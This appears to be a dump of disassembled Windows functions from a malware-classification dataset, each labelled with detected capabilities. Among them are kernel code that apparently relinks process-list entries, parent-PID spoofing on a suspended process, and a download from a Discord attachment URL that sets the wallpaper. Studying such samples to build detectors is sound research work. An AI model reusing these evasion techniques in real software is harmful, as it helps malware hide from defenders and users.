joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000aa9c
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
call fcn.14000a334
mov r14, rax
test rax, rax
jne 0x14000aac8
mov eax, 0xc0000001
jmp 0x14000abc6
mov eax, dword [0x1400121d0]
mov r8d, 0x257
mov ecx, eax
mov edx, 0x15a
mov edi, 0x4d4
mov esi, 0x343
mov r9d, 0xedf
lea r10d, [r8 + 0x47]
lea r11d, [r8 + 0x1e]
sub ecx, 0x2800
je 0x14000ab2e
sub ecx, edx
je 0x14000ab2e
sub ecx, r9d
je 0x14000ab2e
sub ecx, r10d
je 0x14000ab27
sub ecx, edi
je 0x14000ab27
sub ecx, esi
je 0x14000ab27
sub ecx, r11d
je 0x14000ab27
sub ecx, r8d
je 0x14000ab2e
cmp ecx, 1
je 0x14000ab2e
mov ebx, 0x448
jmp 0x14000ab33
mov ebx, 0x2e8
jmp 0x14000ab33
mov ebx, 0x2f0
sub eax, 0x2800
je 0x14000ab6d
sub eax, edx
je 0x14000ab6d
sub eax, r9d
je 0x14000ab6d
sub eax, r10d
je 0x14000ab6d
sub eax, edi
je 0x14000ab6d
sub eax, esi
je 0x14000ab6d
sub eax, r11d
je 0x14000ab6d
sub eax, r8d
je 0x14000ab66
cmp eax, 1
je 0x14000ab66
mov edi, 0x438
jmp 0x14000ab72
mov edi, 0x2e0
jmp 0x14000ab72
mov edi, 0x2d8
lea rdx, [rsp + 0x40]
mov ecx, 4
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov esi, eax
test eax, eax
js 0x14000abc6
add rdi, qword [rsp + 0x40]
xor edx, edx
add rbx, qword [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExAcquirePushLockExclusiveEx]
mov rax, qword [rbx]
xor edx, edx
mov qword [r14 + 8], rbx
mov rcx, rdi
mov qword [r14], rax
mov qword [rax + 8], r14
mov qword [rbx], r14
call qword [sym.imp.ntoskrnl.exe_ExReleasePushLockExclusiveEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000abdc
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14, rdx
mov r15, rcx
and qword [rsp + 0x58], 0
mov eax, dword [0x1400121d0]
mov r8d, eax
mov ecx, 0x2800
sub r8d, ecx
je 0x14000ac61
sub r8d, 0x15a
je 0x14000ac61
sub r8d, 0xedf
je 0x14000ac61
sub r8d, 0x29e
je 0x14000ac61
sub r8d, 0x4d4
je 0x14000ac61
sub r8d, 0x343
je 0x14000ac61
sub r8d, 0x275
je 0x14000ac61
sub r8d, 0x257
je 0x14000ac5a
cmp r8d, 1
je 0x14000ac5a
mov edi, 0x438
jmp 0x14000ac66
mov edi, 0x2e0
jmp 0x14000ac66
mov edi, 0x2d8
sub eax, ecx
je 0x14000acae
sub eax, 0x15a
je 0x14000aca7
sub eax, 0xedf
je 0x14000aca7
sub eax, 0x29e
je 0x14000aca7
sub eax, 0x4d4
je 0x14000aca7
sub eax, 0x343
je 0x14000aca7
sub eax, 0x275
je 0x14000aca7
sub eax, 0x257
je 0x14000aca7
cmp eax, 1
je 0x14000aca7
mov esi, 0x5e0
jmp 0x14000acb3
mov esi, 0x488
jmp 0x14000acb3
mov esi, 0x480
mov ecx, dword [rdx]
lea rdx, [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jns 0x14000ad03
cmp eax, 0xc0000225
jne 0x14000ad67
and dword [rsp + 0x50], 0
lea r8, [rsp + 0x50]
lea rdx, [0x14000fa40]
mov rcx, r15
call fcn.14000a13c
test eax, eax
js 0x14000ad67
mov ecx, dword [rsp + 0x50]
lea rdx, [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
js 0x14000ad67
add rdi, qword [rsp + 0x58]
mov qword [rsp + 0x50], rdi
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExAcquirePushLockExclusiveEx]
mov rcx, qword [rsp + 0x58]
lea rcx, [rsi + rcx]
mov rax, qword [r14 + 8]
mov rdx, qword [rcx + 8]
cmp qword [rdx], rcx
je 0x14000ad35
mov ecx, 3
int 0x29
mov qword [rax], rcx
mov qword [rax + 8], rdx
mov qword [rdx], rax
mov qword [rcx + 8], rax
jmp 0x14000ad4f
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExReleasePushLockExclusiveEx]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x14000ad7c
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x30
mov r14, rcx
and qword [rsp + 0x68], 0
mov r8d, edx
lea rdx, [rsp + 0x20]
call fcn.14000a3dc
cmp dword [rsp + 0x24], 0
jne 0x14000adb0
mov eax, 0xc0000225
jmp 0x14000af15
mov eax, dword [0x1400121d0]
mov ecx, eax
mov edx, 0x2800
sub ecx, edx
je 0x14000ae0c
sub ecx, 0x15a
je 0x14000ae0c
sub ecx, 0xedf
je 0x14000ae0c
sub ecx, 0x29e
je 0x14000ae0c
sub ecx, 0x4d4
je 0x14000ae0c
sub ecx, 0x343
je 0x14000ae0c
sub ecx, 0x275
je 0x14000ae0c
sub ecx, 0x257
je 0x14000ae05
cmp ecx, 1
je 0x14000ae05
mov edi, 0x438
jmp 0x14000ae11
mov edi, 0x2e0
jmp 0x14000ae11
mov edi, 0x2d8
sub eax, edx
je 0x14000ae59
sub eax, 0x15a
je 0x14000ae52
sub eax, 0xedf
je 0x14000ae52
sub eax, 0x29e
je 0x14000ae52
sub eax, 0x4d4
je 0x14000ae52
sub eax, 0x343
je 0x14000ae52
sub eax, 0x275
je 0x14000ae52
sub eax, 0x257
je 0x14000ae52
cmp eax, 1
je 0x14000ae52
mov esi, 0x5e0
jmp 0x14000ae5e
mov esi, 0x488
jmp 0x14000ae5e
mov esi, 0x480
mov ecx, dword [rsp + 0x20]
lea rdx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jns 0x14000aeb0
cmp eax, 0xc0000225
jne 0x14000af15
and dword [rsp + 0x60], 0
lea r8, [rsp + 0x60]
lea rdx, [0x14000fa40]
mov rcx, r14
call fcn.14000a13c
test eax, eax
js 0x14000af15
mov ecx, dword [rsp + 0x60]
lea rdx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
js 0x14000af15
add rdi, qword [rsp + 0x68]
mov qword [rsp + 0x60], rdi
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExAcquirePushLockExclusiveEx]
mov rcx, qword [rsp + 0x68]
lea rcx, [rsi + rcx]
mov rdx, qword [rcx + 8]
cmp qword [rdx], rcx
je 0x14000aede
mov ecx, 3
int 0x29
mov rax, qword [rsp + 0x28]
mov qword [rax], rcx
mov qword [rax + 8], rdx
mov qword [rdx], rax
mov qword [rcx + 8], rax
jmp 0x14000aefd
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExReleasePushLockExclusiveEx]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x345a5176e
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x120], 0
mov dword [rbp - 0x10], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x128], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x345a518fc
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
je 0x345a518fc
lea rax, [rbp - 0x10]
add rax, 0x2c
mov rdx, qword [rbp + 0x140]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x345a517ce
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov ecx, eax
lea rax, [rbp - 0x14]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
call rax
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.345a5164a
mov edx, dword [rbp - 0x14]
cmp eax, edx
sete al
test al, al
je 0x345a517ce
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.345a513f1
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov r10, qword [0x347328070]
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x120]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov rax, qword [rbp + 0x120]
test rax, rax
je 0x345a518e0
mov rax, qword [rbp + 0x120]
cmp rax, 0xffffffffffffffff
je 0x345a518e0
mov rdx, qword [0x347328068]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x120]
jmp 0x345a51916
mov rdx, qword [0x347328068]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
jmp 0x345a51916
mov rdx, qword [0x347328068]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call rdx
mov rax, 0xffffffffffffffff
add rsp, 0x1b0
pop rbp
ret
Function at 0x345a5191f
Capabilities:
Create process on windows
Create process suspended
Protect spawned processes with mitigation policies
Spoof parent pid

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xd0
lea rbp, [rsp + 0xd0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0x20]
mov qword [rax], 0
mov qword [rax + 8], 0
mov qword [rax + 0x10], 0
lea rax, [rbp - 0x78]
mov r9, rax
mov r8d, 0
mov edx, 2
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rbx, qword [rbp - 0x78]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x78]
mov r9, rdx
mov r8d, 0
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
movabs rax, 0x100000000000
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20007
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov rax, qword [rbp - 8]
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov dword [rbp - 0x70], 0x70
mov dword [rbp - 0x34], 0x80001
mov word [rbp - 0x30], 0
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x808000c
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
call rax
nop
mov rax, qword [rbp + 0x20]
add rsp, 0xd0
pop rbx
pop rdi
pop rbp
ret
Function at 0x345a63a10
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.345a6faa0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.345a6faa0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x345a63a80
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x3473280f4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x345a63c30
mov rax, qword [0x3473280f8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x345a63acc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x345a63b57
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x345a63ab0
mov rcx, r12
call fcn.345a64320
mov rbp, rax
test rax, rax
je 0x345a63c8d
mov rax, qword [0x3473280f8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.345a64450
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x3473280f8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x345a63c72
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x345a63b50
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x345a63be0
add dword [0x3473280f4], 1
cmp ebx, 8
jae 0x345a63b88
test bl, 4
jne 0x345a63c40
test ebx, ebx
je 0x345a63b79
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x345a63c60
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x345a63b79
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x345a63bba
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x3473280f8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x345a63b50
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.345a63a10
xor edi, edi
jmp 0x345a63ad7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x345a63b79
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x345a63b79
mov rax, qword [0x3473280f8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.345a63a10
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.345a63a10
nop
nop dword [rax]
Function at 0x345a63f90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x347328120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x347328100]
test rbx, rbx
je 0x345a63fe4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x345a63fdb
test r12, r12
je 0x345a63fdb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x345a63fc0
lea rcx, [0x347328120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x345a64320
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x347302870]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x345a64399
mov rcx, r10
call fcn.345a641f0
test eax, eax
je 0x345a64399
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x345a64396
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x345a6438d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x345a64399
add r8, 0x28
cmp r8, r9
jne 0x345a64378
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x345a646a0
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x347328108]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x345a64020
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x345a64073
mov dword [rax], edi
lea rcx, [0x347328120]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x347328100]
lea rcx, [0x347328120]
mov qword [0x347328100], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x345a64016
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x345a646d0
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x345a6fe10
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x345a6fe20
xor eax, eax
ret
jmp 0x345a64000

Function at 0x345a64710
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x345a64750
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x345a64768
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x345acd0e0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x345acd107
call rbp
cmp dword [rax], 4
jne 0x345acd124
mov rcx, rdi
call fcn.345accf00
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x345acd100
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x14000da84
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140017850], eax
call fcn.14000d7d0
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140017850], 0
jne case.default.0x14000dada
mov ecx, 1
call fcn.14000d7d0
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
pop rdx
or eax, 0x101a00fa
or eax, 0x9f15b53a
invalid
Function at 0x1400011c0
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x28]
mov rdi, rcx
mov dword [rsp + 0x28], 0x101
lea rcx, [rsp + 0x30]
xor r14d, r14d
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov rbx, 0xffffffffffffffff
mov qword [rdi + 0x18], r14
nop
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x140001220
movabs rbp, 0x7ffffffffffffffe
cmp rbx, rbp
ja 0x140001355
mov qword [rsp + 0x278], rsi
mov qword [rdi + 0x18], 7
cmp rbx, 7
ja 0x140001274
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x30]
add rbx, rbx
mov rcx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r14w
jmp 0x140001326
mov rax, rbx
or rax, 7
cmp rax, rbp
jbe 0x140001290
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400012c2
mov ecx, 0xa
mov rbp, rax
cmp rax, rcx
movabs rax, 0x7fffffffffffffff
cmovb rbp, rcx
lea rcx, [rbp + 1]
cmp rcx, rax
ja 0x14000135b
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400012f1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000135b
mov rcx, rax
call fcn.1400020e0
test rax, rax
je 0x1400012ea
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001303
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001300
call fcn.1400020e0
mov rsi, rax
jmp 0x140001303
mov rsi, r14
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x30]
add rbx, rbx
mov qword [rdi], rsi
mov r8, rbx
mov qword [rdi + 0x18], rbp
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rsi], r14w
mov rsi, qword [rsp + 0x278]
mov rax, rdi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400020c0
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rdi
pop rbp
ret
call fcn.1400011a0
int3
call fcn.140001100
int3
Function at 0x140001370
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xa0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x98], rax
xor ebp, ebp
lea rcx, [rsp + 0x78]
call fcn.1400011c0
nop
lea r8, [rsp + 0x78]
lea rcx, [rsp + 0x38]
call fcn.140001d70
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1f
jb 0x1400013fc
lea rsi, [rcx + 0x1f]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x1400013e0
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x3e
lea rdx, [0x140003660]
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], bp
jmp 0x14000141c
mov qword [rsp + 0x20], 0x1f
lea r9, [0x140003660]
mov edx, 0x1f
mov rcx, rbx
call fcn.140001ee0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 7
mov word [rbx], bp
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x140001492
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000148d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000148d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000211c
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova rbx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rbp
xor r9d, r9d
mov r8, rbx
lea rdx, str.https:__cdn.discordapp.com_attachments_1051319805845712949_1082133639342587944_IMG_7361.bmp
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov r9d, 2
mov r8, rbx
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140001516
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001511
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001511
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000211c
movdqa xmm0, xmmword [0x140003850]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], bp
mov rdx, qword [rsp + 0x90]
cmp rdx, 7
jbe 0x140001571
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000156c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000156c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000211c
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400020c0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret